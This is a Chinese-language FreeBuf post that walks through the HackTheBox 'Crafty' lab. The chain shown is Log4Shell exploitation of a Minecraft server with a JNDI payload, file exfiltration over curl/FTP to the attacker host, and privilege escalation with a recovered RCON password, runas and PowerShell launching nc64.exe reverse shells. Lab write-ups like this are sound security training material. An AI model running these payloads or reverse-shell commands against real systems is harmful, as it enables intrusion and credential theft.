freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines][Easy]Crafty
2024-04-21 05:47:45

Main

$ sudo nmap -p- -sS -T4 10.10.11.249

发现25565端口是我的世界服务器端口

image.png

  • CVE-2021-44228:
    https://nodecraft.com/blog/service-updates/minecraft-java-edition-security-vulnerability

  • 在阿帕奇Log4j图书馆,广泛使用的记录框架,在Java应用程序。 这个漏洞,也称为Log4Shell,允许攻击者执行恶意代码的远程通过利用一个缺陷在图书馆的JNDI(Java命名和目录口)查询机制。

# echo "10.10.11.249 crafty.htb">>/etc/hosts

修改本地hosts文件解析地址

image.png

$ git clone https://github.com/kozmer/log4j-shell-poc

$ cd log4j-shell-poc

# vim log4j-shell-poc

修改/bin/bash为cmd.exe

image.png

(log4j-shell-poc)$ wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

下载java环境,在log4j-shell-poc目录中

(log4j-shell-poc)$ tar -zxf jdk-8u181-linux-x64.tar.gz

(log4j-shell-poc)$ mv jdk1.8.0_181 jdk1.8.0_20

下载我的世界启动器 https://tlauncher.org/jar

$ wget -O TLauncher-2.899.zip https://tlauncher.org/jar

$ unzip TLauncher-2.899.zip

$ java -jar TLauncher-2.899.jar

选择版本1.16.5进行下载

image.png

选择多人游戏

image.png

手动添加服务器或者等待一会也能扫出来

image.png

image.png

$ python3 poc.py --userip 10.10.16.23 --webport 8200 --lport 10032

image.png

$ nc -lvnp 10032

进入游戏中,按t输入payload

${jndi:ldap://10.10.16.23:1389/a}

image.png

image.png

image.png

User Flag

>dir C:\Users\svc_minecraft\Desktop

>type C:\Users\svc_minecraft\Desktop\user.txt

image.png

fa3ee28076b9040712a643b7f1c0b67e

Root Flag

发现一个jar包,plugins/playercounter-1.0-SNAPSHOT.jar包

image.png

image.png

很明显我们不能在IIS默认目录下写文件,也就意味着这个jar包只能用其他方式下载

>curl

image.png

可以看到有curl命令,我们使用curl+ftp进行文件上传与下载

image.png

在kali中创建临时的FTP服务

$ pip3 install pyftpdlib
$ mkdir ftp_temp;cd ftp_temp
(ftp_temp)$ python3 -m pyftpdlib -w -u martin -P martin -p 21

image.png

  • 本主机文件上传至FTP服务器

$ curl -T <File.xxx> -u martin:martin ftp://10.10.16.23/

  • 从FTP服务器将文件下载至本主机

$ curl -O -u martin:martin ftp://10.10.16.23/file.txt

接下来将plugins/playercounter-1.0-SNAPSHOT.jar上传至kali主机

> curl -T c:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar -u martin:martin ftp://10.10.16.23/

image.png

image.png

$ sudo apt install jd-gui

下载jd-gui分析jar包

$ jd-gui启动

image.png

这是一个统计玩家在线的插件程序,在这段程序中,s67u84zKq8IXw 是用于 RCON(远程控制)连接的密码。RCON 是一种远程服务器控制协议,通常用于管理游戏服务器,特别是 Minecraft 服务器。

在 Minecraft 服务器中启用 RCON 后,需要提供一个密码以允许远程管理服务器。这个密码是在 Minecraft 服务器的配置文件中设置的。当你使用 Rcon 连接到服务器时,需要提供这个密码来验证你的身份,以便执行管理操作,例如发送命令给服务器。

Tools

  • WinPEAS:WinPEAS 脚本会自动收集系统信息,并执行一系列检查,以查找常见的安全漏洞和潜在的特权升级路径。它可以检查诸如文件权限、服务配置、定时任务、安装程序和服务等方面的问题,并生成详细的报告,帮助用户识别潜在的安全威胁和漏洞(https://github.com/peass-ng/PEASS-ng/releases/tag/20240414-ed0a5fac)

  • Seatbelt:Seatbelt是一款由 SpecterOps 开发的用于 Windows 主机安全审计和特权升级的工具。它旨在帮助渗透测试人员、红队成员和安全研究人员识别和利用 Windows 系统上的潜在安全漏洞和特权升级路径。(https://github.com/r3motecontrol/Ghostpack-CompiledBinaries)

  • jaws-enum:jaws-enum 脚本使用 PowerShell 编写,通过执行一系列 PowerShell 命令和技巧来收集信息和检查系统配置。它能够在 Windows 主机上运行,并且可以作为渗透测试、红队行动和安全审计中的一部分来帮助用户识别潜在的安全风险和漏洞。(https://github.com/411Hall/JAWS)

Manually elevate privileges using local credentials

>cmdkey /list

  • 列出当前计算机上存储的凭据信息。凭据信息通常是用户登录凭据、网络共享凭据等,可以用于自动登录网络共享、远程服务器等场景

image.png

这种命令就必须要看管理员是否有密码了
>runas /env /noprofile /savecred /user:JUGG-efrost\administrator "cmd.exe /c whoami > whoami.txt"
将里面换成反向shell命令即可
image.png

>runas /env /noprofile /savecred /user:administrator ".\nc64.exe 192.168.8.107 10033 -e cmd.exe"

image.png

我们可以很清楚看到有一个反向shell的cmd命令窗口,这样容易被人为关闭进程,我们可以通过powershell来隐藏窗口

runas /env /noprofile /savecred /user:administrator "powershell.exe -w hidden -c .\nc64.exe 192.168.8.107 10033 -e cmd.exe"

由于这些都是只能在GUI界面进行提权,得考虑如何从反向shell界面进行提权

所以采用powershell-ep绕过从我们目前的shell

> $secpasswd = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force

> $mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd)

> Start-Process -FilePath powershell.exe -argumentlist ".\nc64.exe 10.10.16.23 10032 -e cmd.exe" -Credential $mycreds

逐步分析

  • s67u84zKq8IXw被(AsPlainText)指定为明文将作为安全字符串保存,并且忽略安全问题(安全字符串(SecureString)是一种在 PowerShell 中用于存储敏感信息的数据类型。与普通字符串不同,安全字符串以加密方式存储在内存中,并且在使用完毕后会立即被清除,以增强数据的安全性)

  • System.Management.Automation.PSCredential使用指定的用户名和密码创建一个凭据对象 $mycreds,以便在 PowerShell 脚本中使用该凭据对象来执行需要认证的操作,比如远程连接、启动进程等。

  • Start-Process使用 PowerShell 启动一个新的进程,以执行 powershell.exe 命令,并传递了参数 -argumentlist 来指定要执行的命令。具体来说,命令是 .\nc64.exe 10.10.16.23 10032 -e cmd.exe

回到题目中

在kali先将反向shell的powershell脚本保存至临时ftp目录

$ vim reverse.ps1

$ python3 -m pyftpdlib -w -u martin -P martin -p 21

image.png

切换到临时目录,并且进行文件下载

> cd ..\AppData\Local\Temp

> curl -O -u martin:martin ftp://10.10.16.23/reverse.ps1

image.png

我们将当前终端进入powershell

image.png

ps> $secpasswd = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force

ps> $mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd)

ps> Start-Process -FilePath powershell.exe -argumentlist ".\reverse.ps1" -Credential $mycreds

image.png

成功提权

image.png

image.png

499d7b2f787007256ecb549acaa96c25

彩蛋

没事干做了一个八段数码管

3~FT]1XBLVFT5@WHZIUT4G2.png

6NEXHKCF$HQFA16B015{V8R.png

整体思路用命令方块填充坐标,在写入数据缓冲区中控制了每一个段的地址.
用户将数据写入数据缓冲区时,会二次将数据近些写入数据缓存区,让数码管点亮,在清除缓冲区中主要起到一个清除标志位的作用,用来擦除两个数据缓冲区的内容

G$R)2(~)PH@)4SWL]ATFA$N.png

F%JA4XWM$3]~PJZ~VJT_)17.png

# 网络安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录